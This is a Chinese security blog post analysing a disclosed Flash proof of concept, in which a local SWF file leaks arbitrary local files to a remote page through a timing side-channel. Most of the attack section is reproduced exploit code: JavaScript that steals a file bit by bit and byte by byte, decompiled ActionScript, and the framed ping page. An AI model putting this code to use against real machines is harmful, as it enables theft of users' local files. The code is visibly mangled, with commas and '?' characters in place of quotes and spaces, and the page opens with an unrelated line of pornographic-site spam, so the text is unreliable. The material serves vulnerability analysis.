压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

本地SWF文件可將任意本地文件泄露于互聯網

Flash文件在設計的時候就允許本地的swf文件讀取任意的本地文件。Flash Player 版本不高于7時,本地 SWF 文件可與其它 SWF 文件交互并且可以從任何遠程或本地位置加載數據。

原理

在 Flash Player 8 和更高版本中,SWF 文件不能連接本地文件系統和 Internet。 但是通過時間旁路通道(timing side-channel),卻可以實現提取任意本地文件的內容并傳送到網絡上(詳細說明,可參見[1],[2])。

Google瀏覽器會阻止(應該是有提示吧)下載“.swf”后綴的文件,來降低對本地文件系統規則的攻擊,但是卻沒有阻止swf文件以不同的文件 后綴嵌入進去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。當多個swf文件運行在同一個瀏覽器,但在不同的frame下, 或者不同的tab下時,一次只有一個swf文件可以運行ActionScript腳本。

這也就意味著,本地的swf文件可以通過耗時的操作(如直接循環一個時間段等),使加載的網絡上的swf文件的外部接口調用 (ExternalInterface call)出現延遲。這樣根據讀取的本地文件的信息(如讀取一個字節時,bit位為1出現延遲,bit位為0,不設置延遲),決定是否出現相應的延遲,網 絡上的swf文件檢測這一延遲,即可獲取到讀取的文件信息。

本地html文件顯然不能直接和網絡上的swf文件進行交互,但是本地的html文件可以通過frame加載網絡上的swf文件。

POC分析

原作者提供的poc分析 ([4],[5]),打開后發現亂碼,winhex一看,果斷嵌入了swf文件(提供的poc代碼中沒有這個swf文件,如圖1),偏移0xd65后的內容為html文件的內容:

12

 

0xD65后的內容極為html文件的內容。

看了下作者html中的js代碼:

/*?check?the?response?time?of?flash?*/
?????????function?ping(cb)?{
?????????var?l;
?????????window.addEventListener(,message,,?l?=?function(e)?{
?????????window.removeEventListener(,message,,?l);
?????????//console.log(,got?delay?,+e.data.delay)
?????????cb(e.data.delay);
?????????});
?????????document.getElementById(,ifr,).contentWindow.postMessage(,ping,,?,*,);
?????????}
?????????
?????????/*?steal?one?bit?*/
?????????function?getbit(path,?char,?mask,?cb)?{
?????????path?=?encodeURIComponent(path);
?????????document.getElementById(,div,).innerHTML?=
?????????,<embed?type=application/x-shockwave-flash?src=??flashvars="path=,+path+,&amp;char=,+char+,&amp;mask=,+mask+,">,;
//這個地方應該就是[3]提及的那個bug,src換位本地的地址后,poc沒能成功讀取本地文件內容
//作者將本地的swf文件和html文件合并在一起了,path為文件路徑
?????????setTimeout(function()?{
?????????ping(function(res)?{
?????????setTimeout(function()?{
?????????cb(res?>?100);//根據延遲得到bit位的值
?????????},?500);
?????????});
?????????},?200);
?????????}
?????????
?????????/*?steal?one?byte?*/
?????????function?getbyte(path,?char,?cb)?{?
?????????var?byte?=?0;
?????????var?mask?=?1;
?????????function?getbyte_()?{
?????????//console.log(,getbyte_?mask=,+mask)
?????????getbit(path,?char,?mask,?function(is_set)?{
//根據mask的那一bit為1,決定讀取char中的某一bit位
?????????//console.log(,mask=,+mask+,?set=,+is_set);
?????????if?(is_set)?byte?|=?mask;
if?(mask?==?0x80)?return?cb(String.fromCharCode(byte));
??????mask?<<=?1;
??????getbyte_();
????});
????/*?steal?an?entire?file?*/
function?run()?{
??var?path?=?document.getElementById(,path,).value;
??console.log(,path=,+path)
??var?i?=?0;
??var?text?=?,,;
??function?run_()?{//其實這里應該有個判斷文件長度的,當然應該由swf文件把文件長度信息返回回來
????getbyte(path,?i,?function(char)?{
??????console.log(,got?char:?,+char)
??????text?+=?char;
??????i++;
??????document.getElementById(,out,).innerText?=?text;
??????run_();
????});
??}
??run_();
}

從作者給的html文件中提前swf后反編譯,反編譯后在swf腳本下有class_writer這一項:

3

里面的主要兩個函數的代碼:

public?static?function?completeHandler(arg1:flash.events.Event):void
????????{
????????????var?loc1:*=0;
????????????if?((Writer.loader.data.charCodeAt(Writer.char)?&?Writer.mask)?!=?0)?
????????????{//該bit位為1則循環,因此會出現延遲
????????????????loc1?=?flash.utils.getTimer()?+?400;
????????????????do?
????????????????{
????????????????}
????????????????while?(flash.utils.getTimer()?<?loc1);
????????????}
????????????return;
????????}
?
????????public?static?function?main():void
????????{
????????????Writer.timer?=?new?haxe.Timer(1);
????????????Writer.timer.run?=?function?():void
????????????{
????????????????var?loc1:*;
????????????????var?loc2:*=null;
????????????????var?loc3:*=undefined?as?null;
????????????????var?loc4:*=undefined?as?null;
????????????????if?(flash.Lib.current.stage?!=?null)?
????????????????{
????????????????????false;
????????????????}
????????????????if?(false)?
????????????????{
????????????????????Writer.timer.stop();
????????????????????loc2?=?flash.Lib.current.loaderInfo.parameters;
????????????????????Writer.path?=?loc2.path;//文件路徑
????????????????????Writer.char?=?Std.parseInt(loc2.char);//獲取哪一字節的數據
????????????????????Writer.mask?=?Std.parseInt(loc2.mask);//與之按位與,可確定獲取的bit位的值
????????????????????loc3?=?new?flash.net.URLRequest(Writer.path);
????????????????????Writer.loader?=?new?flash.net.URLLoader();
????????????????????Writer.loader.addEventListener(flash.events.Event.COMPLETE,?Writer.completeHandler);
????????????????}
????????????????return;
????????????}
????????????return;
????????}

Frame中嵌入的html文件的js代碼:

<embed?id=a?src=ping.swf?AllowScriptAccess=always>
<script>
??window.addEventListener(,message,,?function(e)?{
????var?t1?=?Date.now();
????document.getElementById(,a,).ping();
????var?t2?=?Date.now();
????parent.postMessage({delay:t2-t1},?,*,);//計算網絡上的swf文件相應的延遲
??});
</script>

作者poc google瀏覽器下運行效果:

4

相關資料

[1]http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000456.html

[2]http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000462.html#164081

[3]:https://code.google.com/p/chromium/issues/detail?id=487475
[4]https://var.thejh.net/flash_HigNabIalOt6/download.html(原作者的poc)
[5]https://var.thejh.net/flash_local_poc.zip(原作者的poc 代碼)

[6]http://seclists.org/fulldisclosure/2015/May/122

上一篇:利用hackRF嗅探GSM網絡流量

下一篇:ARP防火墻九大功能解析